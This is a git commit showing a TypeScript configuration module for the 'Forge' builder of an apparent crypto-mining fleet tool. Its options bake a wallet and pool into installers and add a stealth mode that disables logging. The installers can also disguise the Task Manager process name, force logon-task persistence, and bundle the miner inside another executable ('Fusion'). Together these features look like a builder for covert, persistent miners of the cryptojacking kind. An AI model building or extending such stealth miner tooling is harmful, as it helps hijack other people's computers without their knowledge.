Add fleet ops dashboard, Calibrate enforcement, and dead-code cleanup.

Ship live alerts, pool status, AI monitor, remote agent commands, build manager, and uninstall flow; wire Calibrate settings (WS ping, pool traffic log, retention limits) at runtime and exclude server/data from git.
This commit is contained in:
drjones
2026-05-27 09:16:04 -07:00
parent 9d223b8137
commit df81eb7744
75 changed files with 8891 additions and 966 deletions

View File

@@ -0,0 +1,326 @@
import type { BuildRequest } from '../types';
export type ForgeFieldBadge = 'baked' | 'server-only' | 'requires';
export interface ForgeFieldMeta {
disabled: boolean;
lockedReason?: string;
badge?: ForgeFieldBadge;
hint?: string;
}
export interface ForgeSectionMeta {
id: string;
title: string;
description: string;
badge: ForgeFieldBadge;
}
/** What each Forge section controls — shown in the UI header. */
export const FORGE_SECTIONS: ForgeSectionMeta[] = [
{
id: 'identity',
title: 'Identity',
description: 'Worker label, control server URL, payout wallet — all baked into the installer.',
badge: 'baked',
},
{
id: 'pool',
title: 'Pool Configuration',
description: 'Where this miner submits work. Baked per installer; each forged worker can use its own pool.',
badge: 'baked',
},
{
id: 'performance',
title: 'Performance & Resources',
description: 'Threads, CPU/RAM limits, and when mining runs. Baked into the worker binary.',
badge: 'baked',
},
{
id: 'install',
title: 'Install & Process',
description: 'Install path, persistence, stealth, and Task Manager name. Baked on first run.',
badge: 'baked',
},
{
id: 'fusion',
title: 'Fusion',
description: 'Optional prep.exe bundling. Baked into the fused output file.',
badge: 'baked',
},
{
id: 'ai',
title: 'AI Autonomy',
description: 'Ollama decisions via the control server. Baked toggle; Ollama must run on the server PC.',
badge: 'baked',
},
];
const BADGE_LABELS: Record<ForgeFieldBadge, string> = {
baked: 'Baked into installer',
'server-only': 'Server folder only — not in .exe',
requires: 'Required when parent option is on',
};
export function forgeBadgeLabel(badge: ForgeFieldBadge): string {
return BADGE_LABELS[badge];
}
/** Smart field update — auto-fixes coupled settings so incompatible mixes are hard to create. */
export function applyForgeFieldUpdate(
form: BuildRequest,
field: keyof BuildRequest,
value: unknown
): BuildRequest {
const next: BuildRequest = { ...form, [field]: value } as BuildRequest;
switch (field) {
case 'stealth_mode':
if (value === true) {
next.file_logging = false;
if (next.display_mode === 'visible') {
next.display_mode = 'background';
}
next.silent_mode = true;
}
break;
case 'display_mode':
if (value === 'visible') {
next.stealth_mode = false;
next.silent_mode = false;
} else if (value === 'silent' || value === 'background') {
next.silent_mode = true;
}
break;
case 'persistence':
next.auto_start = value === true;
break;
case 'auto_start':
next.persistence = value === true;
break;
case 'fusion_enabled':
if (value === true) {
next.display_mode = 'background';
next.silent_mode = true;
}
break;
case 'thread_mode':
if (value === 'fixed' && next.threads < 1) {
next.threads = 4;
}
if (value === 'percent' && (next.thread_percent < 1 || next.thread_percent > 100)) {
next.thread_percent = 75;
}
break;
case 'mining_mode':
if (value === 'always') {
// keep idle/schedule values for if user switches back
}
break;
case 'install_base':
if (value !== 'custom') {
next.install_custom_base = '';
}
break;
case 'run_as':
if (value === 'scheduled' || value === 'service') {
// Scheduled/service always creates a task — sync persistence flags so UI matches reality
next.persistence = true;
next.auto_start = true;
}
break;
case 'ai_enabled':
if (value === true) {
if (!next.ai_ollama_endpoint?.trim()) {
next.ai_ollama_endpoint = 'http://localhost:11434';
}
if (!next.ai_model?.trim()) {
next.ai_model = 'llama3.2';
}
}
break;
case 'pool_port':
if (typeof value === 'number') {
if (value === 443 && !next.pool_tls) {
next.pool_tls = true;
}
}
break;
case 'pool_tls':
if (value === true && next.pool_port === 3333) {
// common pools use 443 for TLS — warn in preflight, don't auto-change port
}
break;
}
return next;
}
/** Per-field UI state: disabled fields + why. */
export function getForgeFieldMeta(form: BuildRequest): Record<string, ForgeFieldMeta> {
const isFixedThreads = form.thread_mode === 'fixed';
const isIdle = form.mining_mode === 'idle';
const isScheduled = form.mining_mode === 'scheduled';
const runAsForcedPersistence = form.run_as === 'scheduled' || form.run_as === 'service';
return {
worker_name: { disabled: false, badge: 'baked' },
server_url: { disabled: false, badge: 'baked' },
wallet: { disabled: false, badge: 'baked' },
output_dir: {
disabled: false,
badge: 'server-only',
hint: 'Only copies the built files on this PC — not embedded in the worker.',
},
pool_host: { disabled: false, badge: 'baked' },
pool_port: { disabled: false, badge: 'baked' },
pool_tls: { disabled: false, badge: 'baked' },
pool_pass: { disabled: false, badge: 'baked' },
thread_mode: { disabled: false, badge: 'baked' },
thread_percent: {
disabled: isFixedThreads,
badge: 'baked',
lockedReason: isFixedThreads ? 'Disabled while Thread Mode is Fixed — use Fixed Threads instead.' : undefined,
},
threads: {
disabled: !isFixedThreads,
badge: 'baked',
lockedReason: !isFixedThreads ? 'Disabled while Thread Mode is Auto (%) — use Thread Percent instead.' : undefined,
},
cpu_priority: { disabled: false, badge: 'baked' },
max_cpu_usage_pct: { disabled: false, badge: 'baked' },
max_memory_percent: { disabled: false, badge: 'baked' },
min_free_ram_mb: { disabled: false, badge: 'baked' },
mining_mode: { disabled: false, badge: 'baked' },
idle_threshold_pct: {
disabled: !isIdle,
badge: 'requires',
lockedReason: !isIdle ? 'Only applies when Mining Mode is "Only When Idle".' : undefined,
},
idle_duration_minutes: {
disabled: !isIdle,
badge: 'requires',
lockedReason: !isIdle ? 'Only applies when Mining Mode is "Only When Idle".' : undefined,
},
schedule_start: {
disabled: !isScheduled,
badge: 'requires',
lockedReason: !isScheduled ? 'Only applies when Mining Mode is "Scheduled Hours".' : undefined,
},
schedule_end: {
disabled: !isScheduled,
badge: 'requires',
lockedReason: !isScheduled ? 'Only applies when Mining Mode is "Scheduled Hours".' : undefined,
},
install_base: { disabled: false, badge: 'baked' },
install_custom_base: {
disabled: form.install_base !== 'custom',
badge: 'requires',
lockedReason: form.install_base !== 'custom' ? 'Select Install Base → Custom Path first.' : undefined,
},
install_relative_path: { disabled: false, badge: 'baked' },
adapt_to_hardware: {
disabled: isFixedThreads,
badge: 'baked',
lockedReason: isFixedThreads
? 'Adapt to hardware is ignored when using Fixed thread count — switch to Auto (%) or turn off fixed mode.'
: undefined,
},
self_healing: { disabled: false, badge: 'baked' },
stealth_mode: { disabled: false, badge: 'baked' },
file_logging: {
disabled: form.stealth_mode,
badge: 'baked',
lockedReason: form.stealth_mode ? 'Stealth mode disables log files — turn off Stealth to enable logging.' : undefined,
},
process_name: { disabled: false, badge: 'baked' },
display_mode: { disabled: false, badge: 'baked' },
persistence: {
disabled: runAsForcedPersistence,
badge: 'baked',
lockedReason: runAsForcedPersistence
? 'Run As Scheduled/Service always installs a logon task — persistence cannot be turned off for this mode.'
: undefined,
},
auto_start: {
disabled: runAsForcedPersistence,
badge: 'baked',
lockedReason: runAsForcedPersistence
? 'Linked to persistence — Scheduled/Service mode always auto-starts.'
: undefined,
},
run_as: { disabled: false, badge: 'baked' },
fusion_enabled: { disabled: false, badge: 'baked' },
fusion_prep: {
disabled: !form.fusion_enabled,
badge: 'requires',
lockedReason: !form.fusion_enabled ? 'Enable Fusion first.' : undefined,
},
fusion_run_order: {
disabled: !form.fusion_enabled,
badge: 'requires',
lockedReason: !form.fusion_enabled ? 'Enable Fusion first.' : undefined,
},
fusion_output_name: {
disabled: !form.fusion_enabled,
badge: 'requires',
lockedReason: !form.fusion_enabled ? 'Enable Fusion first.' : undefined,
},
ai_enabled: { disabled: false, badge: 'baked' },
ai_ollama_endpoint: {
disabled: !form.ai_enabled,
badge: 'requires',
lockedReason: !form.ai_enabled ? 'Enable AI Autonomy first.' : undefined,
},
ai_model: {
disabled: !form.ai_enabled,
badge: 'requires',
lockedReason: !form.ai_enabled ? 'Enable AI Autonomy first.' : undefined,
},
};
}
/** Live incompatibility notices shown above the form. */
export function getForgeLiveNotices(form: BuildRequest, fusionPrepSelected: boolean): string[] {
const notices: string[] = [];
if (form.run_as === 'service') {
notices.push(
'Run As "Windows Service" creates a scheduled task — not a real Windows Service. Persistence stays on.'
);
}
if ((form.run_as === 'scheduled' || form.run_as === 'service') && !form.persistence) {
notices.push('Persistence is forced on for Scheduled/Service run modes.');
}
if (form.fusion_enabled && !fusionPrepSelected) {
notices.push('Fusion is enabled — upload prep.exe before you can forge.');
}
if (form.ai_enabled) {
notices.push('AI calls Ollama on the control server PC (not the worker). Use http://localhost:11434 if Ollama runs on this machine.');
}
if (form.thread_mode === 'fixed' && form.adapt_to_hardware) {
notices.push('Fixed thread count ignores "Adapt to hardware" at runtime.');
}
if (form.pool_port === 443 && !form.pool_tls) {
notices.push('Port 443 usually requires TLS — enable Use TLS/SSL or verify your pool docs.');
}
if (form.pool_tls && form.pool_port === 3333) {
notices.push('TLS on port 3333 is uncommon — many pools use 443 for SSL. Double-check pool docs.');
}
if (form.max_cpu_usage_pct < 30 && form.thread_percent > 70 && form.thread_mode === 'percent') {
notices.push('Low Max CPU (%) with high Thread Percent may cause constant throttling.');
}
return notices;
}